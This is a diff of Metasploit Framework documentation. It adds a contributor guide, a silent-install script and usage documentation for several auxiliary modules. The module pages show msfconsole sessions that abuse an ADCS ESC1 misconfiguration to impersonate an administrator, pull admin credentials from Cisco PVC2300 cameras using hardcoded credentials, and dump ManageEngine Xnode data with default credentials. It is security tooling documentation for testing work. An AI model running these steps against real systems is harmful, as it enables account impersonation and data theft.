Once all of this is done, you will want to create a new branch for your code, which can be done by running `git checkout -b <your branch name here>`.
|
||||
This will snapshot the current branch that you are on, and use that to create a new branch with the name provided. Note that I did say snapshot. This is
|
||||
why it's important to update the current branch's code to the latest version of Metasploit Framework available prior to running this command,
|
||||
otherwise the new branch will contain outdated code.
|
||||
|
||||
## Adding in Your Changes and Creating Meaningful Commit Messages
|
||||
Once you have made your code changes, add them using `git add <path to file to add> <optional path to second file to add>`. Note that you can
|
||||
specify multiple files to add using `git add` at the same time.
|
||||
|
||||
To commit these changes locally, use `git commit -m "<commit message here>"`. Note that as a general rule of thumb, commit messages should aim
|
||||
to be 50 characters or less while telling readers what was changed in that commit. You generally don't want to create commits that do multiple things at once,
|
||||
instead create a separate commit for each group of items that you are changing, and make sure that the commit message reflects what changed in a general sense.
|
||||
|
||||
Note also that maintainers may end up squashing your commits down so that your commit A, B, and C, now become commit D which
|
||||
contains all of the same changes as commit A, B, and C, but in one commit and with one associated commit message. This is often
|
||||
done when the code is ready to be landed into Metasploit Framework to help make the commit history easier for people to read.
|
||||
|
||||
## Checking for Code Errors
|
||||
Before code can be accepted into Metasploit Framework, it must also pass our RuboCop and MsfTidy rules. These help ensure that
|
||||
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
|
||||
from the root of wherever you cloned your fork of Metasploit Framework to on disk, run `rubocop <path to your module from current directory>`.
|
||||
|
||||
Specifying the `-a` parameter will ask RuboCop to check your module and if possible fix any issues that RuboCop is able to fix.
|
||||
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
|
||||
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
|
||||
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
|
||||
want, but it should mention RuboCop as it helps maintainers know what the commit is related to.
|
||||
|
||||
As a good practice rule, you should always separate your commits that contain RuboCop changes from those that contain non-RuboCop related changes.
|
||||
This helps ensure that when it comes time to review your code, review can proceed a lot quicker and more efficiently.
|
||||
|
||||
Note that special cases exist if you are writing library code as our RuboCop rules are primarily designed to be run against modules.
|
||||
If at any point you are confused r.e this, please feel free to reach out and ask us for help on Slack at https://metasploit.com/slack.
|
||||
|
||||
Once this is done, the next tool to run is located in the root of the Metasploit local fork at `tools/dev/msftidy.rb`. You will want to run this tool
|
||||
against your module code (if applicable), using `tools/dev/msftidy.rb <path to module>`. This will give some output if there are any errors, or no output
|
||||
if your module passed the tests. Try and fix any errors mentioned here.
|
||||
|
||||
## Writing Documentation
|
||||
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
|
||||
on how to write module documentation at [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html).
|
||||
|
||||
In general when writing documentation you will want to search for a similar documentation file under the `documentation`
|
||||
folder located in the root of the Metasploit fork. You can then copy one of these files and use it as the basis for writing
|
||||
your new documentation for your module.
|
||||
|
||||
When writing the information for the documentation, be sure to make sure your installation steps are as clear as possible. Any confusion over
|
||||
how to set up the target to be exploited will likely result in delays. You will want to put as much detail here as possible.
|
||||
|
||||
Additionally any information about caveats, scenarios you have tested, custom options you added in, or quirks you noticed
|
||||
should also go into this file.
|
||||
|
||||
## Checking Documentation Syntax
|
||||
Once you have written the documentation, you then want to run `toos/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
|
||||
errors with your documentation file, which you will want to fix before submitting your PR. Notice however that if you get a warning about long lines,
|
||||
these may be okay to ignore depending on the context. A good example is if a line is long merely because of a URL. Such warnings can be
|
||||
safely ignored.
|
||||
|
||||
## Submitting Your Changes and Opening a PR
|
||||
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
|
||||
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
|
||||
branch's remote URL using `git remote get-url origin`. It should look something like `git@github.com:gwillcox-r7/metasploit-framework`
|
||||
with `gwillcox-r7` substituted for your username.
|
||||
|
||||
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
|
||||
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
|
||||
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
|
||||
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
|
||||
start working with more complex situations. Note that if the branch pointing to your copy of the code is not named `origin`,
|
||||
replace the word `origin` in the command above with the name of the branch that does point to your copy of the code.
|
||||
|
||||
This should result in output similar to the following:
|
||||
|
||||
```
|
||||
> git push origin update_mssql_lib_parameters:update_mssql_lib_parameters
|
||||
Enumerating objects: 15, done.
|
||||
Counting objects: 100% (15/15), done.
|
||||
Delta compression using up to 2 threads
|
||||
Compressing objects: 100% (8/8), done.
|
||||
Writing objects: 100% (8/8), 1.55 KiB | 1.55 MiB/s, done.
|
||||
Total 8 (delta 7), reused 0 (delta 0), pack-reused 0
|
||||
remote: Resolving deltas: 100% (7/7), completed with 7 local objects.
|
||||
remote:
|
||||
remote: Create a pull request for 'update_mssql_lib_parameters' on GitHub by visiting:
|
||||
remote: https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters
|
||||
remote:
|
||||
To github.com:gwillcox-r7/metasploit-framework
|
||||
* [new branch] update_mssql_lib_parameters -> update_mssql_lib_parameters
|
||||
```
|
||||
|
||||
To create a new pull request (aka PR), browse to the URL mentioned in this output. In this case for the output above this would
|
||||
be `https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters`.
|
||||
|
||||
This will open a new template to create a PR request. Please follow all of the directions here and provide the requested details whilst also
|
||||
deleting the template text once you have provided the requested information. Note that PRs that do not provide anything but the template text for
|
||||
their description will be closed.
|
||||
|
||||
In your PR description you should take care to mention what it is that you are submitting, details on the type of vulnerability and CVE-ID,
|
||||
if applicable, how to test the submission, as well as any special concerns or items of note that occurred whilst conducting testing.
|
||||
|
||||
Once this is done a member of our team will review your PR within a few days and provide feedback on any changes that may still need to be made
|
||||
before the submission can be accepted.
|
||||
@@ -30,6 +30,33 @@ Download the [latest Windows installer](https://windows.metasploit.com/metasploi
|
||||
|
||||
If you downloaded Metasploit from us, there is no cause for alarm. We pride ourselves on offering the ability for our customers and followers to have the same toolset that the hackers have so that they can test systems more accurately. Because these (and the other exploits and tools in Metasploit) are identical or very similar to existing malicious toolsets, they can be used for nefarious purposes, and they are often flagged and automatically removed by antivirus programs, just like the malware they mimic.
|
||||
|
||||
### Windows silent installation
|
||||
|
||||
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
|
||||
```
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
$DownloadURL = "https://windows.metasploit.com/metasploitframework-latest.msi",
|
||||
$DownloadLocation = "$env:APPDATA/Metasploit",
|
||||
$InstallLocation = "C:\Tools",
|
||||
$LogLocation = "$DownloadLocation/install.log"
|
||||
)
|
||||
|
||||
If(! (Test-Path $DownloadLocation) ){
|
||||
New-Item -Path $DownloadLocation -ItemType Directory
|
||||
}
|
||||
|
||||
If(! (Test-Path $InstallLocation) ){
|
||||
New-Item -Path $InstallLocation -ItemType Directory
|
||||
}
|
||||
|
||||
$Installer = "$DownloadLocation/metasploit.msi"
|
||||
|
||||
Invoke-WebRequest -UseBasicParsing -Uri $DownloadURL -OutFile $Installer
|
||||
|
||||
& $Installer /q /log $LogLocation INSTALLLOCATION="$InstallLocation"
|
||||
```
|
||||
|
||||
## Improving these installers
|
||||
|
||||
Feel free to review and help improve [the source code for our installers](https://github.com/rapid7/metasploit-omnibus).
|
||||
|
||||
+6
-2
@@ -268,13 +268,17 @@ NAVIGATION_CONFIG = [
|
||||
nav_order: 1
|
||||
},
|
||||
{
|
||||
path: 'dev/Setting-Up-a-Metasploit-Development-Environment.md',
|
||||
path: 'Creating-Your-First-PR.md',
|
||||
nav_order: 2
|
||||
},
|
||||
{
|
||||
path: 'Sanitizing-PCAPs.md',
|
||||
path: 'dev/Setting-Up-a-Metasploit-Development-Environment.md',
|
||||
nav_order: 3
|
||||
},
|
||||
{
|
||||
path: 'Sanitizing-PCAPs.md',
|
||||
nav_order: 4
|
||||
},
|
||||
{
|
||||
old_wiki_path: "Navigating-and-Understanding-Metasploit's-Codebase.md",
|
||||
path: 'Navigating-and-Understanding-Metasploits-Codebase.md',
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
## Vulnerable Application
|
||||
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
|
||||
template's configuration the resulting certificate can be used for various operations such as authentication.
|
||||
PFX certificate files that are saved are encrypted with a blank password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/icpr_cert`
|
||||
3. Set the `CA`, `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
4. Run the module and see that a new certificate was issued or submitted
|
||||
|
||||
## Options
|
||||
|
||||
### CA
|
||||
The target certificate authority. The default value used by AD CS is `$domain-DC-CA`.
|
||||
|
||||
### CERT_TEMPLATE
|
||||
The certificate template to issue, e.g. "User".
|
||||
|
||||
### ALT_DNS
|
||||
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
|
||||
|
||||
### ALT_UPN
|
||||
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
|
||||
format `$username@$dnsDomainName`.
|
||||
|
||||
## Actions
|
||||
|
||||
### REQUEST_CERT
|
||||
Request a certificate. The certificate PFX file will be stored on success. The certificate file's password is blank.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Obtaining Configuration Values
|
||||
For this module to work, it's necessary to know the name of a CA and certificate template. These values can be obtained
|
||||
by a normal user via LDAP.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local
|
||||
BIND_DN => aliddle@msflab.local
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW Password1!
|
||||
BIND_PW => Password1!
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_ADCS_CAS
|
||||
ACTION => ENUM_ADCS_CAS
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Configuration DC=msflab DC=local
|
||||
=============================================================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cacertificatedn CN=msflab-DC-CA, DC=msflab, DC=local
|
||||
certificatetemplates ESC1-Test || Workstation || ClientAuth || DirectoryEmailReplication || DomainControllerAuthentication || KerberosAuthentication || EFSRecovery || EFS || DomainController || WebServer || Machine || User || SubCA |
|
||||
| Administrator
|
||||
cn msflab-DC-CA
|
||||
dnshostname DC.msflab.local
|
||||
name msflab-DC-CA
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### Issue A Generic Certificate
|
||||
In this scenario, an authenticated user issues a certificate for themselves using the `User` template which is available
|
||||
by default. The user must know the CA name, which in this case is `msflab-DC-CA`.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
|
||||
CA => msflab-DC-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
|
||||
CERT_TEMPLATE => User
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
|
||||
[*] 192.168.159.10:445 - Binding to \cert...
|
||||
[+] 192.168.159.10:445 - Bound to \cert
|
||||
[*] 192.168.159.10:445 - Requesting a certificate...
|
||||
[+] 192.168.159.10:445 - The requested certificate was issued.
|
||||
[*] 192.168.159.10:445 - Certificate UPN: aliddle@msflab.local
|
||||
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
|
||||
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
|
||||
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
|
||||
different UPN effectively issues a certificate that can be used to authenticate as another user.
|
||||
|
||||
The user must know:
|
||||
|
||||
* A vulnerable certificate template, in this case `ESC1-Test`.
|
||||
* The UPN of a target account, in this case `smcintyre@msflab.local`.
|
||||
|
||||
See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
|
||||
information.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
|
||||
CA => msflab-DC-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
|
||||
CERT_TEMPLATE => ESC1-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
|
||||
ALT_UPN => smcintyre@msflab.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
|
||||
[*] 192.168.159.10:445 - Binding to \cert...
|
||||
[+] 192.168.159.10:445 - Bound to \cert
|
||||
[*] 192.168.159.10:445 - Requesting a certificate...
|
||||
[+] 192.168.159.10:445 - The requested certificate was issued.
|
||||
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
@@ -0,0 +1,55 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file
|
||||
containing the admin credentials for the web interface.
|
||||
|
||||
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID
|
||||
via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using the `login` action and the hardcoded credentials `L1_admin:L1_51`.
|
||||
|
||||
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml that uses the `downloadConfigurationFile`
|
||||
action in an attempt to download the configuration file.
|
||||
|
||||
The configuration file, if obtained, will be encdoded using base64 with a non-standard alphabet. In order to decode it,
|
||||
the module first translates the encoded configuration file from the default base64 alphabet to the custom alphabet.
|
||||
Then the configuration file is decoded using regular base64 and subsequently stored in the `loot` folder.
|
||||
|
||||
Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file.
|
||||
|
||||
No known solution was made available for this vulnerability and no CVE has been published.
|
||||
It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
|
||||
|
||||
This module was successfully tested against several Cisco PVC2300 cameras.
|
||||
|
||||
## Options
|
||||
No non-default options are configured.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/gather/cisco_pvc2300_download_config`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
### Cisco PVC2300
|
||||
```
|
||||
Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.31.31.233 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run
|
||||
[*] Running module against 172.31.31.233
|
||||
|
||||
[*] The target may be vulnerable. Obtained sessionID 1122062985
|
||||
[+] Successfully downloaded the configuration file
|
||||
[*] Saving the full configuration file to /root/.msf4/loot/20220803124629_default_172.31.31.233_ciscopvc.config_489884.txt
|
||||
[*] Obtained device name PVC2300 POE Video Camera
|
||||
[+] Obtained the following admin credentials for the web interface from the configuration file:
|
||||
[*] admin username: admin
|
||||
[*] admin password: [obfuscated]
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,156 @@
|
||||
## Vulnerable Application
|
||||
The module exploits default admin credentials for the DataEngine Xnode server in ADAudit Plus versions prior to 6.0.3 (6032)
|
||||
in order to dump the contents of Xnode data repositories (tables), which may contain varying amounts of Active Directory information
|
||||
including domain names, host names, usernames and SIDs. The module can also be used against patched ADAudit Plus
|
||||
versions if the correct credentials are provided.
|
||||
|
||||
The module's `check` method attempts to authenticate to the remote Xnode server. The default credentials are `atom`:`chegan`.
|
||||
If the credentials are valid, the module will perform a few requests to the Xnode server to obtain information like the Xnode version.
|
||||
This is mostly done as a sanity check to ensure the Xnode server is working as expected.
|
||||
|
||||
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
|
||||
- Check if the data repository is configured on the target
|
||||
- Obtain the total number of records in the data repository
|
||||
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
|
||||
to determine the range of possible records to be queried.
|
||||
|
||||
If a given data repository exists, the module uses the above information to dump the data repository contents.
|
||||
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
|
||||
using the `dr:/dr_search` action, while specifying the ID values for each record.
|
||||
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
|
||||
1. A request for the records with ID values 15 to 24
|
||||
2. A request for the records with ID values 25 to 34
|
||||
3. A request for the records with ID values 35 to 41
|
||||
Empty records are ignored.
|
||||
|
||||
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
|
||||
|
||||
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
|
||||
The configuration file can be set via the `CONFIG_FILE` option, but this is not required because
|
||||
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml` that will
|
||||
be used if `CONFIG_FILE` is not set.
|
||||
|
||||
The configuration file is also used to add labels to the values sent by Xnode in response to a query.
|
||||
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
|
||||
before writing those to a JSON file in `~/.msf4/loot`.
|
||||
|
||||
It is also possible to use the `DUMP_ALL` option to obtain all data in all known data repositories without specifying data field names.
|
||||
However, note that when using this option the data won't be labeled.
|
||||
|
||||
This module has been successfully tested against ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2
|
||||
and ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.
|
||||
|
||||
## Installation Information
|
||||
Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/).
|
||||
All versions from 6000 through 6031 are configured with default Xnode credentials. Note that testing against
|
||||
vulnerable versions from the archives will make data enumeration impossible because the free trials for those
|
||||
versions do not seem to allow ADAudit Plus to actually start collecting data that can then be accessed via Xnode.
|
||||
|
||||
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
|
||||
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
|
||||
|
||||
A free 30-day trial of the latest version of ADAudit Plus can be downloaded
|
||||
[here](https://www.manageengine.com/products/active-directory-audit/download.html). To install, just run the .exe and follow the instructions.
|
||||
|
||||
In order to configure a patched ManageEngine ADAudit Plus instance for testing, follow these steps:
|
||||
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
|
||||
- Note down the username and password
|
||||
- Insert the following line:
|
||||
```
|
||||
xnode.connector.accept_remote_request = true
|
||||
```
|
||||
To launch ADAudit Plus, run Command Prompt as administrator and run: `<install_dir>\bin\run.bat`
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/gather/manageengine_adaudit_plus_xnode_enum`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
### CONFIG_FILE
|
||||
YAML File specifying the data repositories (tables) and fields (columns) to dump.
|
||||
|
||||
### DUMP_ALL
|
||||
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
|
||||
## Scenarios
|
||||
### ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2
|
||||
```
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options
|
||||
|
||||
Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
|
||||
ine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml
|
||||
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
PASSWORD chegan yes Password used to authenticate to the Xnode server
|
||||
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 29118 yes The target port (TCP)
|
||||
USERNAME atom yes Username used to authenticate to the Xnode server
|
||||
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
|
||||
[*] Running module against 192.168.1.41
|
||||
|
||||
[*] 192.168.1.41:29118 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.1.41:29118 - Target seems to be Xnode.
|
||||
[+] 192.168.1.41:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
|
||||
[*] 192.168.1.41:29118 - Obtained expected Xnode "de_healh" status: "GREEN".
|
||||
[*] 192.168.1.41:29118 - Target is running Xnode version: "XNODE_1_0_0".
|
||||
[*] 192.168.1.41:29118 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
|
||||
[*] 192.168.1.41:29118 - Data repository AdapFileAuditLog is empty.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapPowershellAuditLog is not available on the target.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapSysMonAuditLog is not available on the target.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapDNSAuditLog is not available on the target.
|
||||
[*] 192.168.1.41:29118 - The data repository AdapADReplicationAuditLog is not available on the target.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### ManageEngine ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password)
|
||||
```
|
||||
msf6 > use auxiliary/gather/manageengine_adaudit_plus_xnode_enum
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set rhosts 192.168.1.25
|
||||
rhosts => 192.168.1.25
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set password custom_password
|
||||
password => custom_password
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options
|
||||
|
||||
Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFIG_FILE /root/github/manageengine/metasploit-framework/data/exploits/manageengine_xnode/CVE-2020-11532/adaudit_plus_xn no YAML file specifying the data repositories (tables) and fields (columns) to dump
|
||||
ode_conf.yaml
|
||||
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
|
||||
PASSWORD custom_password yes Password used to authenticate to the Xnode server
|
||||
RHOSTS 192.168.1.25 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 29118 yes The target port (TCP)
|
||||
USERNAME atom yes Username used to authenticate to the Xnode server
|
||||
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
|
||||
|
||||
[*] Running module against 192.168.1.25
|
||||
|
||||
[*] 192.168.1.25:29118 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] 192.168.1.25:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
|
||||
[*] 192.168.1.25:29118 - Obtained expected Xnode "de_healh" status: "GREEN".
|
||||
[*] 192.168.1.25:29118 - Target is running Xnode version: "DataEngine-XNode 1.1.0 (1100)".
|
||||
[*] 192.168.1.25:29118 - Obtained Xnode installation path: "C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
|
||||
[*] 192.168.1.25:29118 - Data repository AdapFileAuditLog is empty.
|
||||
[+] 192.168.1.25:29118 - Data repository AdapPowershellAuditLog contains 261 records with ID numbers between 1.0 and 303.0.
|
||||
[*] 192.168.1.25:29118 - Data repository AdapSysMonAuditLog is empty.
|
||||
[+] 192.168.1.25:29118 - Data repository AdapDNSAuditLog contains 722 records with ID numbers between 1.0 and 926.0.
|
||||
[*] 192.168.1.25:29118 - Data repository AdapADReplicationAuditLog is empty.
|
||||
[*] 192.168.1.25:29118 - Attempting to request 261 records for data repository AdapPowershellAuditLog between IDs 1 and 303. This could take a while...
|
||||
[*] 192.168.1.25:29118 - Processed 25 queries (max 10 records per query) so far. The last queried record ID was 250. The max ID is 303...
|
||||
[+] 192.168.1.25:29118 - Saving 261 records from the AdapPowershellAuditLog data repository to /root/.msf4/loot/20220610073738_default_192.168.1.25_xnode_powershell_099421.json
|
||||
[*] 192.168.1.25:29118 - Attempting to request 722 records for data repository AdapDNSAuditLog between IDs 1 and 926. This could take a while...
|
||||
[*] 192.168.1.25:29118 - Processed 25 queries (max 10 records per query) so far. The last queried record ID was 250. The max ID is 926...
|
||||
[*] 192.168.1.25:29118 - Processed 50 queries (max 10 records per query) so far. The last queried record ID was 500. The max ID is 926...
|
||||
[*] 192.168.1.25:29118 - Processed 75 queries (max 10 records per query) so far. The last queried record ID was 750. The max ID is 926...
|
||||
[+] 192.168.1.25:29118 - Saving 722 records from the AdapDNSAuditLog data repository to /root/.msf4/loot/20220610073754_default_192.168.1.25_xnode_dnsaudit_775121.json
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) >
|
||||
```
|
||||
@@ -0,0 +1,114 @@
|
||||
## Vulnerable Application
|
||||
The module exploits default admin credentials for the DataEngine Xnode server in DataSecurity Plus versions prior to 6.0.1 (6011)
|
||||
in order to dump the contents of Xnode data repositories (tables), which may contain varying amounts of Active Directory information
|
||||
including domain names, host names, usernames and SIDs. The module can also be used against patched
|
||||
DataSecurity Plus versions if the correct credentials are provided.
|
||||
|
||||
The module's `check` method attempts to authenticate to the remote Xnode server. The default credentials are `atom`:`chegan`.
|
||||
If the credentials are valid, the module will perform a few requests to the Xnode server to obtain information like the Xnode version.
|
||||
This is mostly done as a sanity check to ensure the Xnode server is working as expected.
|
||||
|
||||
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
|
||||
- Check if the data repository is configured on the target
|
||||
- Obtain the total number of records in the data repository
|
||||
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
|
||||
to determine the range of possible records to be queried.
|
||||
|
||||
If a given data repository exists, the module uses the above information to dump the data repository contents.
|
||||
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
|
||||
using the `dr:/dr_search` action, while specifying the ID values for each record.
|
||||
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
|
||||
1. A request for the records with ID values 15 to 24
|
||||
2. A request for the records with ID values 25 to 34
|
||||
3. A request for the records with ID values 35 to 41
|
||||
Empty records are ignored.
|
||||
|
||||
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
|
||||
|
||||
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
|
||||
The configuration file can be set via the `CONFIG_FILE` option, but this is not required because
|
||||
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/datasecurity_plus_xnode_conf.yaml`
|
||||
that will be used if `CONFIG_FILE` is not set.
|
||||
|
||||
The configuration file is then also used to add labels to the values sent by Xnode in response to a query.
|
||||
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
|
||||
before writing those to a JSON file in `~/.msf4/loot`.
|
||||
|
||||
